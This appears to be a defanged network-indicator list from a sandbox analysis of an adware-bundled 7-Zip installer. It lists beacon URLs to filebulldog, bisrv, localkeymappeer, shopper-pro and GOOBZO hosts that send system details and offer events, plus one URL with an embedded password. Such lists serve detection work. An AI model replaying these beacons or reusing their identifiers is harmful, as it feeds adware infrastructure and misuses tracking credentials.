hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=	23.51.123.27
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAKQll6RM0DNpmNM7zH3/Qc=	23.51.123.27
hxxp://installer.filebulldog.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=2&index_in_screen=1&index_in_session=2&0.6841824490635404	78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=2&index_in_screen=1&index_in_session=2&display_height=195&0.8972419453274972	78.138.127.15
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429690955&SBPIDS=0
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTEemCaVgs8Tuh2B9fGVE0pKKNyzgQUTF+nNhcF4oZhIkk5jLmo40rgOBoCEC6utoKGY/7ZdVX4/iTzOxo=	23.51.123.27
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429690910	54.231.33.102
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/16945.ashx?e=M7A8vgjJHrjHEQ/kk/2L9nI0A0MEgFsCbpEIGKaUKB1AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN8hdpfhQ7NVDX4l9XCm/Va yMyEnHNejvIwWNawbTP05KYX3Ti/i3YObVFZJeaqFdk1VfCEU0AOklTie0zE 5RKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsp1sJ10SU1p3d0s7eG0MUR4wxavn5MnYwXiuMMu0WQZkjv 3ulNYP3	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=N6dOqWm8Q97B 4EkIHdGP1cIRGsRtnBa7OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYIk0rxKiBQAQaACykertHSEqjHjRwH0s7BD4NsK07Wi5s IILilpWF1YyXxSCjiPqaE3hyBhQt7Tgog8c26L92McXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXrErQ9Bnn0aJ48i0s7dJ/BldYy53gQNwSwj137NFRjrgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS6JtvHUfgpuU1na42knl8dt2p5Dhwj6xWsxk4TCH dVlV0fzcryGBS3Q2V/0a8esdQ==	198.232.124.192
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1429690909	54.231.33.102
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=1&index_in_screen=1&index_in_session=1&0.7716849296861856	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=1&index_in_screen=1&index_in_session=1&0.2397808917815326	78.138.127.15
hxxp://logs.localkeymappeer.com/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429690905&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429690905	69.16.175.10
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=3&utmn=21225012&utmhn=installer.filebulldog.com&utmhid=1351802398&utmr=-&utmp=Offer_Accepted&utmht=1429690997195&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~	173.194.122.2
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=043Mckb8Lnj5nRk39lR6RSGZf5tV7NUiQN2G3STfV1oSZTerw9Y85XkjLFx9TDtK4f0FPuKZzqbDw9aNRtMZqyZMAOD3mcq6qIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolLlL47zzk5bq7iiBgYFKkeG4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbOko2GBeYu4Js7F084kEIF6/Qhoytxt9L9wKkxYqjT c=	54.197.238.106
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/16945.ashx?e=2fVCHF6kf8i8qFEAMB5m TAsk6sTGOh67OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDfIXaX4UOzVQy4btG OZIk/c453xw7zJVfqR4rzu9tChRWoLVpCM9iEsfUYUM0LESxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK	198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/k6kR j50tq2T48fwpLktEXC18i8H/ZSaYCkA61OJkHZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWPOtYPxFebybOT2Ivb7ZSUiiQud1Q24EcqWLfaltpxWxEermBzJsSMI64eKLyvxa894khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib g9KDdEq/ZU1na42knl8dt2p5Dhwj6xWsxk4TCH dVlV0fzcryGBS1ge4KEdZJgeaau9xWXQx//	173.239.4.105
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=1&index_in_screen=1&index_in_session=1&0.9285006302180865	78.138.127.15
hxxp://clients1.google.com/ocsp	216.58.211.46
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.9178741480869026	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=1&index_in_screen=1&index_in_session=1&0.8861780039993772	78.138.127.15
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429690916	54.231.33.102
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429690911	54.231.33.102
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1429690905	54.231.33.102
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRODEXefhs/UZFum2o8YfzOFwceMwQUkz5j3yJ0BOBkhDHd2yOfDq+2TZMCEA89qsgV9niZmSI6gIO0S/U=	23.51.123.27
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.4&utms=1&utmn=786764341&utmhn=bi.bisrv.com&utmhid=557165261&utmr=-&utmp=Installer_Init&utmht=1429690799884&utmac=UA-31676879-1&utmcc=__utma=1.1154272012.1429690800.1429690800.1429690800.1;+__utmz=1.1429690800.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=653839773&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~	173.194.122.2
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=5&utmn=590287193&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(istartsurf)&utmhid=1351802398&utmr=-&utmp=Install_Complete&utmht=1429691028924&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~	173.194.122.2
hxxp://rep.shopper-pro.com/app/ping.ashx?e=lOCrbsNL2zXk4TYbHkoM1EXC18i8H/ZSkEv4eEwUcGvZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWPOtYPxFebybOT2Ivb7ZSUhZtcNn99AarGKzY45zi1OnWyB8eDAkaihrzHkXTPDbIs2bRVJi5NlOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnJa1FhA/wE TvEn2nDKBLzC/lQLguKSQ5P4IP6Qq40NMNNb1R6SBDrHvotX5mTYu/9/CpuCTIAF0=	173.239.4.105
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=2fVCHF6kf8gqMrckuXQYBGRwNktoQ3nsEhGH33nPGlEQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFr1QHs3X92ilHPsYeJ7guqL3mQKhyBoITNs IILilpWF0EB1KJjJJfUAE70KA8ZXhbA8YCZx49749XwOtu/CmAKgJUlT431fkCbEvv7B8EBQsLMIR5jdasKUjHLHHjeqvRbJe0G7hafD0cV0gl/F/pYgE70KA8ZXhbA8YCZx4974 B86 WNxeRBjxqYaUP6TQsCGXM8nuRsrwLu S4teDFcGFsLq 3JUmEyXyampC/aqBvwYTPRA/ZZJdGe7ForKgmJMbGviezzI48wTR30dhWKzAQ/GBCUCsKFw34iJcRE4ZONmeuSCxgZcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfVhzKGZrtoOnPia6IsUvvqp2uESlkv7ho77Nj19XlaWijbMb8pyXMn8=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/mJXdux5Fvl9n5EWJRAEnQKYX3Ti/i3YP1b661ON6JHo8ELrHrpRwVw1PcYrVm0Q9XQ9J8KSs5a4MNpNQo19uHgy6YlW82m1mJd/JSmlPgygFakk3mKHZ8nZ92R8WPtSPD39uruDJE98eAAVArKptKUdW1y396VwWkTqbSbpNNR48UBgfn/EdyjMb3M1eFmdc2 Le3/eDB Eeu2KCTq4AUbl4e0/dEFirVXgd6TQBX2bwyCrtkSlvF94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsCm4 jApsJwUl7nMCA Puxn33L58g5Vfvh4hRH7uafCO/9Eu04BWpzg==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=LG8dwPiPk7OfZNC1TqAoBHsn3FpN4laB1VMaOJFqXYpm5LT87ehXaouB5vT09TkZM1FwykDBwFYl7nMCA Puxn33L58g5Vfvh4hRH7uafCN7AIPnzDq7zLiKIFo3W8f23Wq7IsWCDz5Xs32Kf02UP3ZWIHhdOu4nz3HjAX5f3Ms/caEgn1aywnSpt9GSHWXQjyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L/4y49ULAFDJjOm3A3nSXCDDqZm84mZltXkERNHBe5a3/5OmEDwJ/nJy0n5cCJyqEpnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoEMSfSPd4gMrtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw44wukdKbWr6	198.232.124.192
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429690919	54.231.33.102
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=60i6h5i9K tFwtfIvB/2UnoWj6SXffCIjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jhK7uAPHPA/SIWGJQvu967T3FsALGJiApIj GXdVcREtCUHeR8YCF3picd9c3AkGezCcoAUR1qA6wWHAZ0LKJ2BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLom28dR Cm5TWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdDZX/Rrx6x1	198.232.124.192
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=2&index_in_screen=1&index_in_session=2&0.33195344750229993	78.138.127.15
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/install.ashx?e=PcwT4QFtuPBPNjxRBLtb49OayYtQxcN/HBKWDIV8zAnOo8fXRAOTcAWwrv9hreqncfgJCYrAwfjGDr5NwV0atdSSaUQFDqWEQXlxtBq2M/Wb87aptZLNDFA1P6i6ssaToXvV0ACP4NMVyaunraoeQQeRzm SyrO9uCFW/zxMyvvLaPsNuIhxx0qTRYdykYznQcOav1fvIInFToJxGXpok7Mp5a5JKLY8jARCJdOax3BQLHhZSKf6F1J4r6F5 wsCmsYBmEqYe81Sgdd2itB1rdCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPRVquFz8IHIPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmjpB9iJ5C2tEAebAnsXQ5mE=	198.232.124.192
hxxp://install.theswiftrecord.com/ii?alpha=dnN8VB5aWW9/cWRwU34RdzcvWR52L3B8E0NAaEVbJC82E1tjAh9lKSJ1cDAaeTo7VXQvQ0cUJT54LwgJdjgAUHYacyBIGCIvalRdUzAHe01bLCdFQyUnP2tJDRR2FQJyKiI0BiUKCCBtcDBlVlJYZX0Hf3UAECdaagMrCwl6UhYJLhV1KA4VJS9rVFUKdxQ4HipvegBCYHM/fEtWbzxJDyl3aAJHfE0pNCQhZxIQEExoeAF8dhsbVFxqaywODXEnFgM9Rw1hGxVCTHwOCE46Sm8RUzYkUR0nNTU4GAQALE9GZn1jBE5hAgF7IzZuIw0ZbnUeWDwiWlUVTG1lTUpXJXNDFzFHL28UCFk/ehceSDBTZUIkZWoDXGFoLi4eAQ09Q0A2e3MXC2NeL3lgfiFhTE88OjpdMyhSHyMCPSl0S1BjPmUKMVwkalh7Y34uBAgTZVR8ETB5JAcCbT8/eVgNFH4KA3AgNh9KLg98KHV0O2VURSgXcwNifAEXQBw1ISB+WS9lVUI8RyxgRWxZQBQgXV4sV2kRQBwVezN2Im0leH1aL1RXbDJGP1xyTSkyFi1zJBcednUaEQEFZmtGKDM2dhh8JmBZBz0OMWVFDnJxOVxKHDkHO3pEUTgLe0M=	8.34.112.140
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.2414930056970817	78.138.127.15
hxxp://install.theswiftrecord.com/mg?alpha=ZgUTWCotPlB8EV1JPHIlZ0FAVSpmQxEpIxhoERg+YiJSSCpHew4qRWFDEix7PhULDlNkAntaHnwAQw1IdQ0pVVgeUg8XITZ3QzZrVi9y	8.34.112.140
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=2&index_in_screen=1&index_in_session=2&0.9161289952713647	78.138.127.15
hxxp://stats.localkeymappeer.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=97E0D9D934E84791AE8E9FB2AE590BFCPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE13c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429690905&procruntime=15&rnd=1429690920	54.231.9.60
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=	23.51.123.27
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=filesfrog&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=0&index_in_screen=0&index_in_session=0&0.1873213158396364	78.138.127.15
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429690918	54.231.33.102
hxxp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl	87.245.216.57
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eISsn0A7mAaebxLgvS5H7rLCN3RAljps6WsYkYO9ZYsicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L70vvYtuUlw ZaDn5jCLwttgKkdlz1lRoRVZ6ImNImI0nDgs7q5vmXmt09Lyj4wnx81JAAFQCEiFa5OEmrbJtlEE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQ3QYJFiW2TpHdRQ1iDuTWCHerLjg0wWOeIRz 2mBYX7hAI rSxlsmasp WEd17ItGHySmeDQikgk=	173.239.4.105
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429690910	54.231.33.102
hxxp://online.GOOBZO.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/7790.ashx?e=/TVH52TeC6RFwtfIvB/2Uko8qwHW8cv/jA5kVqVgWdAgLxC0aXqYrYyox39H7ctISTZgAuf6BVpNATguov8slGAqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ==	198.232.124.192
hxxp://www.google-analytics.com/ga.js	173.194.122.2
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?d455f170f77c60cf	87.245.216.19
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1429690918	54.231.33.102
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=QgW8pN5r26ZQhScA1jb3T0jF1bjII1t47OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYF2oGot0MQhTYCpHZc9ZUaGrhgSoaZAY/tRZzfht7UpY9A8dpvtBeO2hc3DbjNrW8PQYnQ1xoKSBiZYn8TH3Pe3MlW9RFqOniiR/VPwArHZ1QMCg3fniKLWzp3t4zCe896XFFb679qcr4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlJa1FhA/wE TvEn2nDKBLzC/lQLguKSQ5P4IP6Qq40NPZC4GryFTFDw==	198.232.124.192
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=	23.51.123.27
hxxp://installer.filebulldog.com/installer/ajax	78.138.127.15
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429690918	54.231.33.102
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eISsn0A7mAaebxLgvS5H7rLCN3RAljps6WsYkYO9ZYsicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L70vvYtuUlw ZaDn5jCLwttgKkdlz1lRoYUad3QpOh3uU8/inQ0dV1y6KJfGT/oeAyr6Se9TnnMMjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ty8ph h1ipV6WXm8RRHiPpDvoN39ZYYoAGlB3rlXyCF0YO/4St1QYDocEh1ssDf3ThcpBOQbZaysAeXrDcfXn1	173.239.4.105
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/VnFVL/bsGoNCUHeR8YCF313OfQWxYQIgX v6FJSWjmLUVyGRiJmmWZrdGZ5CXclXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaPByCfGyRMRTdRQ1iDuTWCHerLjg0wWOeIRz 2mBYX7hAI rSxlsmasw4bpiPG/cI	198.232.124.192
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=	23.51.123.27
hxxp://crl.microsoft.com/pki/crl/products/WinPCA.crl	87.245.216.57
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=4&index_in_screen=1&index_in_session=4&0.37298315691108524	78.138.127.15
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=WL9usJOVMsPXmto/P2xI1iGZf5tV7NUiQN2G3STfV1oSZTerw9Y85XkjLFx9TDtKeHo6FOnjNt3Tp8VZQ/4p3GXCKyxfyg8N9A8dpvtBeO2hc3DbjNrW8PQYnQ1xoKSBiZYn8TH3Pe3MlW9RFqOniiR/VPwArHZ1QMCg3fniKLWzp3t4zCe899YNvMh53GZdNQrsYrsFnfQveIgyiaeHisUWbVgwixNWMVUtRMOhS7DYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW aNKDh4dmbgaJe7HkSXGWaDoPSg3RKv2VNZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUttteLo8BXfHo=	54.197.238.106
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429690917	54.231.33.102
hxxp://errors.localkeymappeer.com/installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A95FE5811DB848B88766ECAF84B0AC31PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE16dHNtdHljMCw0NjA5ZjM1ZS1mZmY0LTQ3OTctODdiYS0wNThkYmI4ODIyY2EsIiwidW5xIjoiNDYwOWYzNWUtZmZmNC00Nzk3LTg3YmEtMDU4ZGJiODgyMmNhIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429690905&procruntime=3&rnd=1429690908	54.231.33.102
